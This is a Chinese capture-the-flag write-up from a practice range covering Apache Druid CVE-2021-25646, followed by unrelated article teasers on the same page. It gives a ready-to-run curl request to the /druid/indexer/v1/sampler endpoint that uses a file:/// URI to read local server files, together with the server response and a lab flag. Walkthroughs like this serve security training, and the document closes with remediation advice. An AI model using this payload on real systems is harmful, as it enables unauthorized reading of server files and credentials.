news 2026/4/26 16:56:02

玄机靶场—Apache-druid(CVE-2021-25646) WP

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
玄机靶场—Apache-druid(CVE-2021-25646) WP

Apache-druid(CVE-2021-25646) 通关笔记

题目信息

  • 平台:玄机靶场
  • 题目 ID:197
  • 难度:简单
  • 积分:300 分
  • 类型:渗透
  • 漏洞编号:CVE-2021-25646

漏洞背景

Apache Druid 0.20.0 及以前版本中,/druid/indexer/v1/sampler接口的ioConfig.inputSource支持多种数据源类型,包括http类型。该类型允许从指定 URI 拉取数据,而未对file://协议进行限制,导致攻击者可以通过file:///path/to/file读取服务器本地任意文件。

虽然题目描述的是 JavaScript RCE(通过javascript类型的 filter/aggregator 执行任意 JS 代码),但本靶场环境中 JavaScript 功能被配置禁用(druid.javascript.enabled未设置为 true),因此改用httpinputSource +file://协议实现任意文件读取。

靶机信息

  • IP:52.83.246.206
  • 端口:8888(Druid Router/Web Console)
  • 版本:Apache Druid 0.20.0

利用过程

步骤 1:确认服务版本

curl-s"http://52.83.246.206:8888/status"

响应确认版本为0.20.0,属于漏洞版本范围。

步骤 2:尝试 JavaScript RCE(失败)

通过/druid/indexer/v1/sampler发送包含javascript类型 filter 的 payload,服务器返回:

HTTP ERROR 500 java.lang.IllegalStateException: JavaScript is disabled

说明druid.javascript.enabled未启用,JavaScript 执行路径不可用。

步骤 3:改用 file:// 协议读取文件

利用http类型 inputSource 支持file://协议的特性,直接读取/flag.txt

curl-s-XPOST"http://52.83.246.206:8888/druid/indexer/v1/sampler"\-H"Content-Type: application/json"\-d'{ "type": "index", "spec": { "type": "index", "ioConfig": { "type": "index", "inputSource": { "type": "http", "uris": ["file:///flag.txt"] }, "inputFormat": {"type": "regex", "pattern": "(.*)", "columns": ["line"]} }, "dataSchema": { "dataSource": "test", "timestampSpec": {"missingValue": "2021-01-01T00:00:00.000Z"}, "dimensionsSpec": {"dimensions": ["line"]}, "metricsSpec": [], "granularitySpec": {"type": "uniform", "segmentGranularity": "DAY", "queryGranularity": "NONE", "rollup": false} } }, "samplerConfig": {"numRows": 10, "timeoutMs": 10000} }'

步骤 4:获取 FLAG

响应内容:

{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"line":"flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}"},"parsed":{"__time":1609459200000,"line":"flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}"}}]}

FLAGflag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}

Flag 汇总

步骤内容Flag
步骤1读取 /flag.txtflag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}

修复建议

  1. 升级 Apache Druid 至 0.21.0 或更高版本。
  2. 若无法升级,在common.runtime.properties中确保druid.javascript.enabled=false(默认值)。
  3. http类型 inputSource 的 URI 进行白名单校验,禁止file://jar://等本地协议。
  4. 部署网络访问控制,限制 Druid 管理端口(8888/8081/8090)的外部访问。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/26 16:54:01

别急着换M2!实测丐版M1 MacBook Air跑MATLAB 2022a,结果有点意外

丐版M1 MacBook Air运行MATLAB 2022a的真实体验:预算有限的科研入门指南 当苹果推出M2芯片的MacBook Air时,许多预算有限的用户开始纠结是否要升级设备。作为一名长期使用丐版M1 MacBook Air(8GB内存/256GB存储)进行科研计算的用户…

作者头像 李华
网站建设 2026/4/26 16:51:28

跨平台资源下载终极指南:3步掌握res-downloader视频号下载技巧

跨平台资源下载终极指南:3步掌握res-downloader视频号下载技巧 【免费下载链接】res-downloader 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载! 项目地址: https://gitcode.com/GitHub_Trending/re/res-downloader 还…

作者头像 李华
网站建设 2026/4/26 16:50:24

Switch手柄在PC上完美工作的终极指南:BetterJoy解决方案全解析

Switch手柄在PC上完美工作的终极指南:BetterJoy解决方案全解析 【免费下载链接】BetterJoy Allows the Nintendo Switch Pro Controller, Joycons and SNES controller to be used with CEMU, Citra, Dolphin, Yuzu and as generic XInput 项目地址: https://gitc…

作者头像 李华
网站建设 2026/4/26 16:44:27

LSTM时序预测实战:从原理到电商销量预测应用

1. 时序预测与LSTM基础认知 当我们需要预测未来一段时间内的数据变化趋势时,传统统计方法往往难以捕捉复杂的非线性关系。这就是为什么我在处理销售预测、能源负荷预测等项目时,越来越依赖LSTM这种特殊的循环神经网络。与普通RNN相比,LSTM通过…

作者头像 李华
网站建设 2026/4/26 16:41:27

IDA Pro集成AI副驾驶:逆向工程智能化实践指南

1. 项目概述:当IDE遇上AI副驾驶作为一名在软件开发一线摸爬滚打了十多年的老码农,我经历过从记事本写代码到集成开发环境(IDE)的进化,也见证了各种代码补全工具从简单的关键字提示到基于上下文的智能感知。但最近几年&…

作者头像 李华